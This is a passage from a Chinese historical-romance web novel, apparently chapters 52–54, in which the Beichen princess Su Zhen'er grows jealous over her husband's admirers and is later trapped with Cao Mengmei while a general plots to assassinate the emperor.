“我也有七夕礼要给你。” 说完,她不知从哪里取出一条绸带来。 那绸带三指宽,靛青色,上面绣着芙蓉花纹,苏甄儿站在床上,将它小心翼翼戴在了陆麟城的双眼上,还在后面系了一个很好看的蝴蝶结。 长长的绸带尾部垂落下来,像两撇飘逸的翠绿鸟类尾翼。 “为什么要蒙眼睛?” “仪式感你不懂吗?” “……现在懂了。” 苏甄儿牵着陆麟城的手,将他带到实木圆桌前,然后自己走到梳妆台前,从抽屉里取出一个东西,置到桌上。 她放的轻,陆麟城只听到硬物磕碰的声音。 “你猜一猜我要送你什么。” 陆麟城想了想,“玛瑙簪。” 最近苏甄儿对玛瑙簪子很感兴趣,家中买了几盒子。 “不对。” “水晶项链?” 最近苏甄儿对水晶项链也非常痴迷,同样买了几盒子。 “不对,你故意的,不好好猜。” 苏甄儿伸手去捏陆麟城的手背,轻轻的,只有亲昵。 男人双眸被覆住,他反手勾住她的手指,歪了歪头,“上次你买了一对琉璃明月珰说要送我,随后又十分可惜的表示我没有耳洞不能戴,只好委屈自己戴了。” 苏甄儿:…… 苏甄儿一把捂住他的嘴,“这次不一样。”她羞恼的脸红,索性直接拿起玉佩塞进陆麟城手里。 陆麟城隔着绸带摸到手中的玉佩。 是一块暖玉,上面雕刻着图案。 陆麟城的指腹在上面细细摩挲,“芙蓉玉佩?” “猜对了。” 苏甄儿取下他脸上的绸带。 “这块芙蓉玉佩可以调取芙蓉馆的情报……”似是因为不好意思,所以苏甄儿说话的时候将脸埋在他的肩膀上,“我想了很久,你救我那么多次,还将军功换成了给我的封地,我只有这个,你要不要?” 她低头玩着他的腰带。 “要。”陆麟城收紧自己揽在苏甄儿腰间的臂膀。 入夜,帷幔曳地。 陆麟城避开苏甄儿肩膀上的伤,让她坐在自己上面,然后突然不动了,盯着她。 苏甄儿:??? “玉佩是只给过我一个人吗?还是别的人也有。” 苏甄儿:…… “你以为芙蓉馆是什么地方!全世界只有这么一块玉佩好嘛。”苏甄儿去拧他。 “不要生气,我错了。”男人的认错态度是极好的,认错速度也是极快的。 第52章 吃醋了 翌日, 天气清朗,苏甄儿懒在床上还未起身。而本该早起上朝的男人却刚刚沐浴完毕,坐在桌边用早膳。 苏甄儿神色疑惑, “你不去上早朝吗?” “今日不上早朝, 我要去一趟牺牲所。” 牺牲所? 苏甄儿想起来了,四日后是祭祀大典。 按照规矩,祭祀前三个月,礼部和太常寺官员会挑选好犊牛等牺牲, 然后在祭祀前五日, 皇帝会亲自或派遣亲王到牺牲所察看牲只。?? 看来皇帝将这个任务交给了陆麟城。 “你一个人去呀?” “嗯。” 苏甄儿绕着挂在帐子上长长垂下来的流苏坠子,“听说牺牲所内猛兽众多, 不太安全呢。” “嗯。”男人一本正经道:“有点害怕呢。” 苏甄儿立刻坐起身, “那我勉为其难陪你一起去好了。” 她还没去过牺牲所呢- 牺牲所的建筑规模庞大,包括神牛、兔、羊、鹿房、猪房、牧夫房、草房、豆料房、磨房以及关帝庙、龙神庙等等。不过因为新帝的节俭属性, 所以很多都关闭了。 皇宫内本有一处兽园, 也被周玄祈挪到了牺牲所, 只为了节省开支。 如果可以的话, 苏甄儿觉得这位皇帝甚至希望直接让这些奇珍异兽回归山野自己打猎去,省得吃他的口粮。 可惜这些异兽被圈养久了, 早就失去了野外生存能力,每日里只会撒娇卖萌的求抚摸和口粮。 “这是食铁兽, 只有咱们大周才有,极为罕见。”太常寺卿早早恭候在牺牲所门前,迎接今日的贵客,并且安排好了一切行程。 这是一间屋子, 被收拾的极其干净,地面有被水洒扫过的痕迹, 还有熏香的味道。 苏甄儿站在巨大的铁笼子前,盯着里头那只黑白色,毛绒绒的东西滚在地上吃竹笋。 想摸。 “王妃,此兽凶猛异常,不可靠近。”太常寺卿赶忙阻止。 苏甄儿收回自己蠢蠢欲动的手。 食铁兽抬起胖乎乎的脚,挠了挠头。 苏甄儿心里更痒了。 “它会食人?” 太常寺卿点头,“是的。” 行吧。 “那它吃糕点吗?” “吃的。” 太常寺卿早就备好了东西,他令人提了一个食盒过来,里头装着切好的新鲜水果和窝头,还有一根细长的竹竿,足足有三米长。 “王妃可握着这根竹竿喂食这食铁兽。” 真贴心呀。 苏甄儿握着竹竿,将插了窝窝头的另外一端探入笼子里。 那食铁兽嗅到窝窝头的气息,慢吞吞爬起来,走到笼子口,伸爪,把窝窝头扒拉下来,然后抱在怀里,慢慢地啃,碎屑掉了一身子,跟个刚刚学会吃饭,弄得到处都是的孩童一样。 “传闻黄帝和蚩尤便是骑食铁兽打战的,这么个慢吞吞的东西,能跑起来吗?”苏甄儿用竹竿子轻轻戳了戳它。 食铁兽不耐烦地转过了身,用屁,股对着她。 苏甄儿:…… 苏甄儿转头看向站在自己身边的陆麟城,“你打仗的时候骑过它吗?” 陆麟城:…… “没有。” 苏甄儿的脸上露出可惜之色。 喂完食铁兽,这位热情的太常寺卿继续领着苏甄儿和陆麟城往里去。 这里一间隔着一间,以铁制围栏相隔,饲养着许多奇珍异兽。 两人来到一处围栏前,苏甄儿看到里头躺着一只极胖的豹子,脑袋搁在肉块上,身边还有一只新鲜的鸡,正围着它啄米。 “它看起来很胖。” “不是的,王妃,它只是年纪大了,皮肤有些松弛。” 苏甄儿:……她信了。 两人继续再往里去,走到最后,那里有一片很旧的院子,破砖破瓦,断壁残垣,被大块大块的木板围起来。 苏甄儿隔着那木板缝隙嗅到一股奇怪的味道,她下意识向前一步,想透过缝隙往里望一望。 “前面是废弃的院子,下官正准备拆除将其改造成异兽们生活的场地。里头埋了火.药,马上就要拆除了,王妃切莫靠近。” 太常寺卿赶忙上前阻止,并解释缘由。 苏甄儿点头颔首。 “这边过去是孔雀园,王妃还要去看看吗?”太常寺卿抬手指向另外一边。 十分有眼力劲的太常寺卿已经看出来今日的主角是谁了,说话的时候连王爷都不带了。 这位王爷今日比他更像这位王妃的挂件。 “好。”苏甄儿欣然答应后,才想起来询问身边的陆麟城,“王爷想去吗?” 陆麟城低头,对上苏甄儿水灵灵的眼神。 他说,“想去。” 三人往孔雀园的方向去。 那是一条比较长的路,四周是天然的林子,虽已入秋,但天气尚热,枝桠茂盛,能闻鸟雀齐鸣,苏甄儿还惊喜的发现有几只小松鼠在两旁的林子里来回穿梭。 她顺着树干往上看,看到一些挂在枝干上的小篮子。 “这些是你们弄的?” 太常寺卿赶忙点头道:“是的,王妃。我们日常会装一些坚果食物在里面挂上去给它们吃。” 苏甄儿对这个地方很满意。 走过这条长路,终于来到孔雀园。 一入孔雀园门口,前方便远远走来一队人。 苏甄儿见走在最前面的那个人有些眼熟,等更近了些,终于认出来。 是上次有过一面之缘的那位曹小姐身边的武将,曹公义子郭峰。 上次只是远远看到,今日擦身而过,那骇人的身高和面容给人的冲击力巨大无比,令人感到十分压迫。 郭峰身上有苏甄儿不喜欢的武将杀戮之气,那种刻意外露的血腥气,让人不适。 苏甄儿下意识蹙眉,抓紧了陆麟城的手。 “那位是北方曹公家的义子,说自家小姐听闻牺牲所有白孔雀,没见过,想借过去瞧上一瞧。” 苏甄儿的视线往郭峰身后看去,果然看到他带着的士兵们抬着一个盖着黑布的笼子往外去。 一路过去,隐约能看到黑色罩布之下露出的一点白色孔雀羽毛。 “嗯。” 苏甄儿没有在意,只淡淡点了点头。 突然,一只手勾着她的脸侧,她的脸转了回来。 苏甄儿:??? “你好像不是在看白孔雀。”男人语气幽幽。 哦,苏甄儿眨了眨眼。 她在看其他男人- 天气温度依旧很热,金陵城像个整日里都沸腾的火炉子。 苏甄儿懒在凉榻上,迷迷糊糊闭目数着日子,不知道这天气什么时候才能凉快些。 绿眉推开门进来看上一眼,然后出去。 过了一会儿,再推开门看上一眼,然后出去。 又过一会儿,屋门再次被推开。 苏甄儿受不了了,她伸出一只臂膀,拨开满绿色的帷幔,“什么事?” 绿眉疾走两步过来,然后摇头,“没事,王妃。” 苏甄儿:…… 苏甄儿晨间刚醒,想睡个回笼觉的,被绿眉吵醒,实在是睡不着了。她起身洗漱,身子一动,那股炎热感便瞬间沸腾起来,屋内的温度开始急速上升。 绿眉端着新做好的桂花糕走过来。 苏甄儿抬手要今日的金陵小报。 绿眉支支吾吾,“奴婢,奴婢还没买。” “那去买吧。” 虽然金陵小报是自家的,但其实真正负责每日报刊发表的人是福来客栈的燕娘。 小报平日里多写一些不用脑子的八卦,然后替一些商家打打广告,再按照金主的要求造造谣之类的。至于其它更深层次的事件真相,需得经过层层审核、验证、筛选,才能发布。 因为这是一件极易丧命的事情,所以每个人在做这件事前,都要知道,自己面对的将是未知的危险。 可他们知道,有些事是必须要有人做的。 正好,他们愿意成为这样的人。 绿眉转身出去了,一会儿后犹犹豫豫的过来,“王妃,今日这小报咱们还是别看了吧。” “给我。” 绿眉闭着眼将小报递给苏甄儿。 苏甄儿一边吃桂花糕,一边看小报。刚翻开,就看到了今日最新爆炸性新闻,完全掩盖了前几日曹氏女风光驾到金陵城,然后以一万字来叙述她的美貌的那篇文章。 苏甄儿阴测测地读出来,“北辰王每日半路幽会神秘美女,北辰王府疑似要有新女主人!” 苏甄儿攥着小报继续往下看。 通篇洋洋洒洒,先是描述了一番北辰王的上朝方式,什么晴天雨天都骑一匹珍珠马,从不迟到之类的。 然后开始诉说近几日这位北辰王的艳遇。 “王妃,外头有些奇怪的风言风语,说那位曹氏女……要取代您成为北辰王妃。”绿眉小心开口,生怕自家王妃生气。 “不会。”之前苏甄儿确实担心过这件事,可昨日宫宴之后,她已经肯定,曹氏女志不在陆麟城。 绿眉自然是相信自家王妃的,王妃说不会,就不会。 “除了曹氏女,奴婢还听说旁的一些什么尚书、公府、侯府的,想将女儿塞过来给王爷做侧妃呢。” 苏甄儿眼神凌厉,“哪几家?” 绿眉被苏甄儿突然扬高的声音唬了一跳。 她记得很多年之前有鬼面军的家眷来找自家王爷时,王妃还十分慷慨大度,怎么如今变得这么小气了? “奴婢听说最殷勤的是阴平侯府家那位小姐,日日在王爷上朝的必经之路上偶遇王爷。不是今日掉块帕子,就是明日跌个一跤。” “呵。”苏甄儿气笑了- 虽然一开始成亲的时候,苏甄儿还装模作样在晨间起身伺候过几次陆麟城,但日子久了,她摸清楚了陆麟城是个好糊弄(?)的人,因此也就省下了这份虚情假意,每日里直等到男人朝会都快要结束了才堪堪起身。 只是今日却不一样。 陆麟城一边站在木施前穿戴衣物,一边朝梳妆台前望去。 今日的北辰王妃比他还早一个时辰起身,鸡都还没叫呢,日头还没出来呢,她就已经起身了,先是沐浴更衣,然后坐在梳妆台前涂涂抹抹,最后戴上一整套珠光宝气的头面,将自己打扮的天上有,地下无。 陆麟城一向是骑马上朝的,今日苏甄儿说要送他去上朝,因此,两人坐的是马车。 上了马车,苏甄儿也不说话,只是撩着马车帘子不住往外看。 等马车行出一段路,拐进一段公府侯府长街,苏甄儿突然坐直身体,掏出自己的靶镜,上上下下照了一遍,然后又调整了一下车内夜明珠的角度,找到最适合自己的光线角度。 北辰王府的马车上有标志,早早起身等了许久的阴平侯府家小姐翘首以盼一炷香时辰,终于将人盼来了。 侯府日渐衰弱,她若是能与那苏甄儿一般攀上北辰王,当个侧妃也好。 没有富贵的日子她过不下去啊! 阴平侯之女已摆好今日与北辰王“偶遇”的姿势,她朝马车内扔了一个自己的香囊。 下一刻,马车停在她面前。 冯小姐一阵激动。 她多日的努力终于要得到回报了吗?那位北辰王终于愿意停下来看她一眼了吗?她的富贵终于要来了吗? 马车帘子被慢慢撩起,露出一张画着全妆的脸,云鬓花颜,皓腕绿衫,豆蔻指尖勾着她的香囊。 “冯小姐,你的香囊不小心掉进我的马车里了。” 苏甄儿着重点出“我的”二字。 她笑意盈盈,看着那阴平侯之女脸上笑意逐渐消失。 “给北辰王妃请安。”冯小姐垂目请安。 “听闻冯小姐这个月掉了三十二个香囊。” 冯小姐面色煞白。 她怎么知道自己这个月给三十二个男人扔了香囊。 “冯小姐,如果还有下次,我可就没有那么好的脾气了。” 苏甄儿是笑着说的,可冯小姐却莫名感觉到背脊发凉。 冯小姐嗫嚅着道:“没有,没有下次了。”- 事情解决,苏甄儿心情极好的哼起了小曲,可当她偏头看到陆麟城时,又哼出一个生气的音。 陆麟城:??? 马车到达宫门口,里头就不是苏甄儿能进的了。 陆麟城从马车上下来,一步三回头,那马车扬长而去,根本就不等他。 等陆麟城下了朝,宫门口的大臣们都被自家轿子或马车接走了,唯他一人站在那里,身影被无限拉长,孤单影只。 陆麟城徒步走回北辰王府,刚刚踏入主院,便见自家王妃正在院子里晒东西。 美人袖衫曳地,素手执一木尺,轻轻划过桌面,压住薄纸一角。 苏甄儿侧坐在矮桌边的蒲垫上,手腕上戴着的水绿色翠镯随着她的动作轻轻滑落到肘部。 好一幅美人图。 陆麟城放轻脚步走过去,看到矮桌上面的东西,觉得十分眼熟。 这不是他挂在书房里的那份永不纳妾书吗?上面还有他家娘子的签名画押。 苏甄儿见陆麟城回来,脸上依旧挂着晨间那副对着冯小姐的笑容,多少有些虚情假意了。 “妾身替王爷晒晒,都长毛了。” 女子的蔻色指甲划过那张永不纳妾书,眉眼上挑看人。 陆麟城站在那里,沉吟半响,随后淡淡吐出一个字,“哦。” 他,好像明白了。 心脏处似有什么东西猛然炸开,男人掩在身后的手掌握紧又松开,就像是他因为自己突然明白的这件事,所以起伏不定如同被投入了一颗巨石的心境一般。 她,吃醋了。 第53章 失踪谜 陆麟城虽然已经成亲, 又有凶名在外,但其身份高贵,侧妃之位空缺, 他人又生得好看, 难免要招惹一些烂桃花。 每日里不是骑马踩到帕子,就是踢到香囊。 苏甄儿一连三日送陆麟城去上朝,将金陵城内那些贵女们爱情的火苗一一掐灭,战斗力之猛令人咋舌。 “王妃, 奴婢真想不到您能连续三日起这么早, 就为了送王爷上朝。” 她也想不到,她什么时候做事这么有执行力了? 到底是什么意志在支撑着她? 苏甄儿一边往脸上扑粉遮挡黑眼圈, 一边捏紧手中的檀香小扇, 眼神之中已显露出几许坚持不下去的幽怨之色了,“还没到你的休沐日吗?” 陆麟城站在木施旁边慢条斯理地穿衣服, 听到苏甄儿的话, 慢半拍地发出一个音, “啊, 没有。” 他今年都不想休沐了。 苏甄儿的脸上露出绝望之色。 “你笑什么?”她从镜中看到陆麟城那勾得十分明显的唇角。 “没什么。”男人笑得更明显了。 你的眼睛都快要弯成月牙了! 最近一起上朝的大臣们发现这位北辰王的心情极好,甚至让人在这尊罗刹身上感受到了一种如沐春风之感。 真是令人毛骨悚然。 下朝了, 孙乾铭按照周玄祈的要求过来请陆麟城去一趟御书房。 孙乾铭安安静静在前面领路。 走在后面的陆麟城突然笑出了声。 孙乾铭:??? 御书房的门敞开着,周玄祈坐在御案后面, 单手撑额,看到陆麟城过来,赶紧招呼他道:“谢楚安来信了,说自己受了一点小伤, 不过已经痊愈,南方一切顺利, 明年就能回来。现在只剩下北方,北方被曹氏一族控制,想要税改顺利进行,必须要拉拢曹氏,你有什么办法?” 陆麟城走到御案边,拿起谢楚安的信看,然后突然笑一声。 周玄祈:“……谢楚安说自己被砍了一刀,虽然没有性命之忧,但有什么好笑的?” “哦,活着挺好的。”陆麟城放下信。 这封信与其说是密报,不如说是炫妻书。 谢楚安的信件内三分之二都在炫耀周莲芝的聪明才智,说他这位娘子是如何将他从豺狼虎豹的包围之中救出来,又是如何善解人意的与百姓们细细讲解重新丈量土地是为了给他们减轻负担,而并非是那些豪强们所谓的要多增加税负,并一一列举改税的好处,推动政策改革。 南方税改进行的十分顺利,现在就剩下北方。 而北方的拦路虎就是曹氏。 陆麟城坐在周玄祈下首处,端起面前清茶轻抿一口,在安静的氛围中,突然开口,“曹氏女,是昙花吗?” 周玄祈的面色一瞬暗下来,他抬眸看向陆麟城。 “你喝醉的时候喊的,”陆麟城弹了弹衣袍,“你说她始乱终弃,睡了你不负责,又去嫁给别人了,还派人来追杀你,一点都不顾念床笫之情。” 周玄祈面色极其难看,“你今日话怎么这么多?” “可能是因为……”陆麟城转头望向天际处漂浮着的云,“今天天气很好。” 说到天气,周玄祈想到今日钦天监送来的流程单。 斋戒沐浴三日,周玄祈饿得头晕目眩,也没有心思跟陆麟城讨论其它的事了。 “明日我要去太庙祭祀,金陵就交给你了。” “嗯。”- 今日送完陆麟城上朝,苏甄儿就去福来客栈找燕娘算账了。 那些关于北辰王的烂桃花文章到底是谁写的! 彼时,福来客栈的最深处,燕娘正在招待一位神秘贵客。 她听到苏甄儿突然到来的消息,神色一顿,让贵客稍等片刻,起身去迎接苏甄儿。 苏甄儿戴着帷帽站在院子里,看到燕娘过来,还没开口,便被燕娘一把抓住了胳膊,“馆主,大生意,里头有一位客人要花十万两让我们替她造谣。” 苏甄儿伸手遮挡住燕娘被金钱蒙蔽的双目,提醒她,“价格越高,事情就越危险。” 燕娘冷静下来。 苏甄儿继续问,“造谁的谣?” “不知道,那位客人说,若馆主同意,就请今日日落之前去往城外同心亭相见。” “这是订金。”燕娘取出银票。 “知道这位客人是谁吗?” 燕娘摇头,“她不以真面目示人,也不愿意透露身份。” 苏甄儿沉思片刻,让人将自己乘坐的马车藏好,然后步入福来客栈二楼,藏在那位神秘客人所在的隔壁房间,拆下挂在墙上的画,露出一个眼睛大小的圆洞。 从那个圆洞中,可以看到那盘坐在蒲垫上的女子一身紫衣,帷帽盖脸,看不清面容。 苏甄儿的视线往下,神色霍然一顿,认出了紫衣女子手腕上戴着的那串珍贵的翡翠佛珠手链。 曹氏女? 紫衣女子等候片刻,起身。她身后跟着一位身穿常服的男子,身高两米,替她开门。 女子下了二楼,毫不停留地踩着马凳上了一辆普通的马车,随后消失在福来客栈后院门口。 “馆主,要去吗?”燕娘低声询问。 苏甄儿点头道:“替我安排一辆普通马车。” 燕娘按照苏甄儿的吩咐,迅速替她安排好了马车,临走前,苏甄儿想起自己过来此处的原因。 她踩在马凳上,眼神犀利地看向燕娘,“我相公的绯闻都是谁写的?” 燕娘轻咳一声,避开苏甄儿的目光,“馆主你也知道,大家就喜欢看点贵人八卦,不然咱们这销量也上不去啊。” “不行,”苏甄儿断然拒绝,“不准。” 第一次看到自家馆主为了一个男人如此,燕娘福灵心至,“馆主,您这不会是……吃醋了吧?”- 金陵城外有座同心亭,四周依山傍水,绿植葱郁,旁边还有一大块平坦绿地可以用来休息,是贵女和公子们踏青秋游最喜欢来的地方。他们三五成群,以帷幕遮挡,圈出一块地方,在里头吃酒吟诗,赏花赏水。 今日此地来了一位贵客,圈住一大块地,客气的将附近游玩的人请走了。 苏甄儿乘坐的马车辘辘而来,被虽然身穿常服,但明显是练家子的人拦住。 谁吃醋了? 她哪里吃醋了? 她根本就没有吃醋! 她怎么可能吃醋呢! “马车里的是什么人?”外面的人连问三声。 直到第三声后,苏甄儿才隔着帘子没好气的开口,“芙蓉馆馆主。” 身高两米的武将骑马上前,居高临下地看着对着马车扫视一圈,然后伸手撩开帘子,看到车内只有一头戴帷帽的柔弱女子之后,确认没有危险,才道:“放行。” 马车继续前行,然后在同心亭前停下。 苏甄儿戴着帷帽下车,隔着白纱,看到早已坐在同心亭的石墩子上等候自己的紫衣女子。 她一身紫衣,戴的帷帽颜色也是淡淡的紫色,幽静而典雅,像一株预开未开的紫昙花。 苏甄儿提裙走上台阶,步入凉亭。 另外一个石墩子上已经放好了干净的坐垫,茶水也是热的,泛出淡淡的白色烟雾,随后很快就被风吹散。 苏甄儿抬手压住自己的帷帽,落座,却没有碰那杯茶水。 “真没想到芙蓉馆的馆主居然这么年轻。”紫衣女子率先开口。 听到声音,苏甄儿已经确定这位是曹氏女。 “小姐想要造谁的谣?”苏甄儿单刀直入。 曹梦湄停顿一下,却并没有回答她的话,而是反问道:“我听说就没有芙蓉馆不敢造的谣言。” 苏甄儿轻笑一声,“小姐不要给芙蓉馆戴高帽了,我们只是一个小小的报社。而且,你不说,我怎么知道要给你开什么价,又怎么能告诉你,芙蓉馆敢不敢接?” 四周安静极了,苏甄儿从容不迫的态度让曹梦湄另眼相看。 “这里不是说话的地方,馆主随我去附近小筑。” 原来那湖中小筑才是曹梦湄准备的密谈地点。 两人来到同心亭附近的小筑。 这座小筑在一座城外庄园内,园内有一座山,山上有一片湖,清澈透明,湖中有一小筑,唯有乘船才能上去。 这样的地点确实极其隐蔽。 苏甄儿只知道曹氏在北方势力大,没想到它们在金陵城外居然还有这么大一座庄园,可能这只是冰山一角。 小筑内收拾的极其干净,茶壶也是热的,显然早已为了迎接客人而做好了准备。 紫檀木的圆桌和墩子,乌木的琴,装着糕点的白玉盘,胎薄如玉的类银茶具,内外室隔着一层连珠帐,隐隐绰绰露出里面镶嵌着宝石的宝榻。 这位曹氏女的日常享受比起她来有过之而无不及。 屋内燃着鹅梨帐中香,气味甜美之余,还能嗅到淡淡沉檀香的气息。 侧旁的花瓶里插着几株娇艳欲滴的芙蓉花,垂露含苞。 两人落座,互相都没有揭开帷帽。 曹梦湄端起面前茶盏轻抿一口,直接切入主题,“我要造的是北方曹公之女曹梦湄的谣言。” 苏甄儿神色平静,静等曹梦湄继续往下说。 “曹公之女曹梦湄,阴年阴月阴日阴时生人,出生时天降异象,紫云罩顶。” 苏甄儿沉默一瞬,随后笑问,“姑娘,意欲何为呀?” 曹梦湄从宽袖内抽出一份金陵小报,上面正是关于“大周未来皇后”的谣言。 “馆主认为,我意欲何为?” “你们芙蓉馆曾经不也替英国公府那位苏甄儿,如今的北辰王妃造过谣吗?”见苏甄儿久久不说话,曹梦湄便开口道:“这事对于你们来说应该不是难事,至于钱,你们也不用担心,若觉得不够,尽管加价。” 苏甄儿:…… “这事不是钱的问题,而是人的问题。”苏甄儿站起身,“芙蓉馆只是一个小小的报社,可不敢招惹那样的大人物。”话罢,苏甄儿转身走到门边去开门,却不想门竟被封住了。 曹梦湄坐在那里,安静吃茶,似乎早已预料。 她背对着苏甄儿,“馆主,今日这事,你是答应也得答应,不答应也得答应。” 这是想用强了。 苏甄儿轻笑一声。 “曹姑娘,强人所难可不好。” “你……”曹梦湄猛地一下站起来,腰间禁步发出凌乱声响。 苏甄儿抬手示意她稍安勿躁,自己取下头上帷帽,露出容貌。 时间安静片刻,曹梦湄开口,“你是……谁?你怎么会知道我的身份?” 苏甄儿:……曹梦湄居然不认识她。 那她戴帷帽到底是因为什么?美的太过惹眼吗? 苏甄儿深吸一口气,“我是北辰王妃,我在宫宴上见过你。” “原来你就是北辰王妃。”曹梦湄喃喃自语。 上次宫宴之上,曹梦湄抬首看到那位坐在龙椅之上的男子,立时被震惊的六神无主,哪里还记得周围之人的相貌。 最关键的是,她今日见的是芙蓉馆馆主,谁会想到这芙蓉馆馆主与北辰王妃会是同一个人!就算是以造谣出名的金陵小报都不敢这么写啊!就算写了也没有人会信啊! “给王妃请罪。”曹梦湄思量片刻,跪地请罪,“今日冒犯,望王妃恕罪。” “可以放我回去了吧?不然就要错过用晚膳的时辰了。”苏甄儿露出假笑。 苏甄儿笃定曹氏不敢对北辰王妃如何,才敢这样明目张胆的跟着她走。事实证明,她的猜测没错。 “是。”曹梦湄起身,走到门边,“开门。” 苏甄儿安静等待,门外没有任何声响。 曹梦湄蹙眉,又喊一声,“开门。” 门外继续安静。 苏甄儿和曹梦湄同时觉出不对劲。 曹梦湄抬手推门,外面传来门锁敲击门扉的声音,确实是被锁上了。 “郭峰,郭峰!”曹梦湄又唤两声,门口传来铠甲之声。 有一个高大的身影隔着门扉站在那里,夕阳已落,屋前挂着一盏亮灯的红纱灯笼,将男人的身影拉得极长,极壮。 “小姐。” “郭峰,开门。” “抱歉,小姐,这门不能开。” “郭峰,你知道自己在说什么吗?” “小姐,我们一味退让只会让皇帝得寸进尺。”郭峰的声音隔着门扉传进来,“臣已经跟那人说好,待我刺杀皇帝成功,北方曹氏,封狼居胥,享无尽富贵。” 郭峰的声音混入风中,阴影也跟着摇晃。 曹梦湄的脸瞬间就白了。 苏甄儿的脸色也跟着难看起来- 天色已晚,陆麟城从书房内出来,看到依旧漆黑一片的主屋,下意识皱了皱眉。 “绿眉,王妃呢?”陆麟城素来不会过问苏甄儿的行踪,她因为身体原因,所以出门的时候比较少,便是出去,也不会在外头过夜,可今日实在是太晚了些。 绿眉摇头,“王妃没让奴婢跟着。” “她有说去哪吗?” 绿眉想了想,道:“王妃说去的福来客栈。” 陆麟城纵马来到福来客栈,夜已深,福来客栈已经打烊。他在门口敲了很久的门,脾气耐心告竭之时,才有人姗姗来迟。 “我们已经打烊了。”店小二打开一条门缝,懒洋洋的开口。 陆麟城阴着脸取出那块芙蓉玉佩。 开门的店小二一看到那块玉佩,登时眸色一动,赶紧侧身让人进来。 陆麟城进入店中,上下扫视一圈,是个普通客栈,并没有特别之处。 燕娘听到消息从厢房内出来,看到站在客栈内的男子背对着她,一身锦衣,气度非凡异常。 “这位客官……” “我来寻我娘子。”陆麟城转身,没有废话的再次亮出那块芙蓉玉佩。 燕娘看到男子容貌,瞳色震颤,“北辰王?” “嗯。”陆麟城大方承认。 燕娘的视线落到那块玉佩上。 “我娘子给我的。”陆麟城将玉佩递给燕娘。 燕娘仔细检查之后确认,确实是芙蓉玉佩。 “今日馆主跟着一位客人走了。” 第54章 我想你 门被封了, 窗户被封了。 就算暴力破开门窗,外面都是湖水。 “你会水吗?”苏甄儿询问曹梦湄。 曹梦湄摇头,又问苏甄儿, “你会吗?” 苏甄儿跟着摇头, “不会。” 两人蜷缩着坐在被砸得四分五裂的窗户前,望着外面漆黑一片的湖面,一同陷入沉默。 在这份安静之后,曹梦湄率先开口, “郭峰是我父亲的养子, 我父亲十分信任他,此次前来金陵, 我们只带了三百兵力, 驻扎在金陵城外。父亲与我一般,讨厌战争, 因此, 今日之事, 我是真的不知情。” 虽然这位小姐现在跟她关在一起, 但对于曹梦湄的话,苏甄儿自然是不能全盘相信的。 风从破窗中灌入, 苏甄儿嗅到水的味道。 她偏头望出去,黑色的湖面, 压得人心底发寒。 “你见过打仗吗?”曹梦湄继续说话。 苏甄儿摇头,“没有。”她纤细的眉头紧紧蹙起,脸上厌恶之色明显,“我讨厌战争, 我的父兄就是死在了战场上。” 曹梦湄道:“我也不喜欢打仗。打输了又如何,打赢了又如何。尸横遍野, 血流成河。” 门外突然传来声响,门锁被打开。 苏甄儿和曹梦湄迅速起身,望向门口。 郭峰站在那里,手里提着一个食盒。 曹梦湄上前,朝着他的脸就是两巴掌。 可惜力道太小,也没有留下什么痕迹。 郭峰站在那里,没有反抗。 “放我们出去。” “等明日,尘埃落定。”郭峰依旧坚持。 “你到底要干什么!你知道你这样做,会有多少无辜的人因此丧命吗?” “是你们曹氏太过软弱。”郭峰虎目圆睁,手里拎着的食盒柄竟被他硬生生捏碎,“一个区区的周玄祈罢了,我们曹氏俯首称臣太多年了。” 曹梦湄瞪着郭峰,似乎是想到了某种场面,她的情绪变得有些激动,“所以你就要挑起战争,只因为死的不是我的父母亲友,所以我就能肆无忌惮的挥霍别人的性命吗?” 曹梦湄的嗓音因为竭力喊叫,所以变得嘶哑。 苏甄儿站在她身后,望向她的目光陡然变幻。 她没有想到,曹梦湄会说出这样的话来。 北方曹氏,并非软弱,而是为了北方百姓,才次次妥协,希望维持这份和平关系。曹梦湄与太子的联姻,曹梦湄想要跟周玄祈联姻,都是为了避免战争,保持和平。 “和平,为什么非要牺牲你!我宁可打战!”郭峰放下手中残破的食盒,再次关上门,转身而走。 曹梦湄跌落在地,眼眶通红。 苏甄儿走上前,扶起她,“地上冷。” 两人穿过连珠帐,来到内室宝榻上。 “我们女子的命也是命,凭什么要牺牲我们来维持所谓的和平。”苏甄儿跟曹梦湄并排坐在宝榻上,她的声音很轻。 曹梦湄垂目,“一开始,我也是这样想的,所以,我逃了。” “我逃到了战场边缘。”曹梦湄回忆起了那段她一辈子都不愿意回想起的往事。 “很多死尸。” “秃鹫在啃食他们的血肉,我踩在地上,那不是地,而是腐烂的血肉,它们像地毯一样铺在地面上。我的脚踩下去,都是人的断肢。” “我找不到东西吃,有个士兵将他的干粮分给了我。你知道吗?他没有双臂,他身上的血根本就止不住,他临死前说,希望自己能回家。战争,到底带来了什么。” 曹梦湄的声音变低,她开始啜泣,“从前父亲跟我说,曹氏女是注定要成为大周皇后的。我不明白,直到那个时候我才明白,在这样的世道下,联姻,是避免战争最稳固的方式。” 寂静中,苏甄儿开口了,“好,我帮你传谣。” 曹梦湄神色惊喜地看向她,随后一撇嘴,“你现在说这个有什么用。” 苏甄儿:…… 曹梦湄想了想,“要不我装病,你趁机袭击?” “你高估我了。”苏甄儿觉得她的胳膊会在一瞬间被士兵扭断。 天色阴沉,又开始下细细密密的雨。 苏甄儿从宝榻上起身,在屋内四处闲逛,手指扯过花瓶上的一株大瓣芙蓉,看向置在角落处的绣架- 这是苏甄儿失踪的第一天,天空开始下雨,地上残留的车辙痕迹全部被破坏掉,泥泞遍布。 陆麟城独身立在雨中,抬眸看向前方的同心亭。 亭内空空荡荡,不见人影。 他攥紧手中芙蓉玉佩,身后十三急掠而来,“王爷,抓住一个鬼鬼祟祟的人。” 十三将那男人扔在地上。 陆麟城垂目看他。 男人仰头,望进一双黑沉暗眸之中,如同吸光了阳光的空洞,令人无端心生恐惧。 锋利的软剑毫不留情地划破男人的脖颈,鲜血顺着脖子往下淌。 “说。”陆麟城声音低沉,带着戾气。 脖颈上的血沾满了衣襟,男人的身体不受控制的开始颤抖,如同弱小的动物在遇到强大的猎手时下意识的身体反应。 突然,他看到了陆麟城攥在手里的那块玉佩。 “你是,芙蓉馆的人吗?”男人激动起来,“我是探官,馆主传话,让请北辰王去太庙,皇帝有危险。”说着话,男人赶紧从怀里掏出一柄檀香小扇。 陆麟城双眸霍然睁大,他急切俯身抓住那柄檀香小扇,“你们馆主人呢?她安全吗?” “馆主没事,她已经先行赶去太庙了。”- “你们芙蓉馆的人怎么哪里都有啊!” 